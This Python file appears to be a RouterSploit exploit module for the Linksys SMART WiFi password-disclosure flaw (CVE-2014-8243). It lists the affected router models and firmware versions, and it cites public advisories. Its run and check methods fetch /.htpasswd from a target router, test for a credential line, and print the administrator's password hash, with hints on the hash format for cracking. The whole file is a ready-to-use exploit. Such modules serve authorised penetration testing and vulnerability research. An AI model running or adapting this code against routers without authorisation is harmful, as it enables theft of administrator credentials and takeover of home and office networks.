import re
from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient


class Exploit(HTTPClient):
    __info__ = {
        "name": "Linksys SMART WiFi Password Disclosure",
        "description": "Exploit implementation for Linksys SMART WiFi Password Disclosure vulnerability. "
                       "If target is vulnerable administrator's MD5 passsword is retrieved.",
        "authors": (
            "Sijmen Ruwhof",  # vulnerability discovery
            "0BuRner",  # routersploit module
        ),
        "references": (
            "https://www.kb.cert.org/vuls/id/447516",
            "http://sijmen.ruwhof.net/weblog/268-password-hash-disclosure-in-linksys-smart-wifi-routers",
            "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8243",
            "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8243",
        ),
        "devices": (
            "Linksys EA2700 < Ver.1.1.40 (Build 162751)",
            "Linksys EA3500 < Ver.1.1.40 (Build 162464)",
            "Linksys E4200v2 < Ver.2.1.41 (Build 162351)",
            "Linksys EA4500 < Ver.2.1.41 (Build 162351)",
            "Linksys EA6200 < Ver.1.1.41 (Build 162599)",
            "Linksys EA6300 < Ver.1.1.40 (Build 160989)",
            "Linksys EA6400 < Ver.1.1.40 (Build 160989)",
            "Linksys EA6500 < Ver.1.1.40 (Build 160989)",
            "Linksys EA6700 < Ver.1.1.40 (Build 160989)",
            "Linksys EA6900 < Ver.1.1.42 (Build 161129)",
        ),
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def run(self):
        if self.check():
            print_success("Target seems to be vulnerable")

            response = self.http_request(
                method="GET",
                path="/.htpasswd"
            )
            if response is None:
                print_error("Exploit failed - connection error")
                return

            if (response.text.find('$') != -1):
                print_info("Likely Unix crypt hash: $id$salt$hashed")  # See more at http://man7.org/linux/man-pages/man3/crypt.3.html
            else:
                print_info("Likely base64 encoded .htaccess")  # John understands this natively

            print_success("Hash found:", response.text)
        else:
            print_error("Exploit failed - target seems to be not vulnerable")

    @mute
    def check(self):

        response = self.http_request(
            method="GET",
            path="/.htpasswd"
        )

        if response is not None and response.status_code == 200:
            res = re.findall(r"^([a-zA-Z0-9]+:\S+)", response.text)
            if len(res):
                return True

        return False
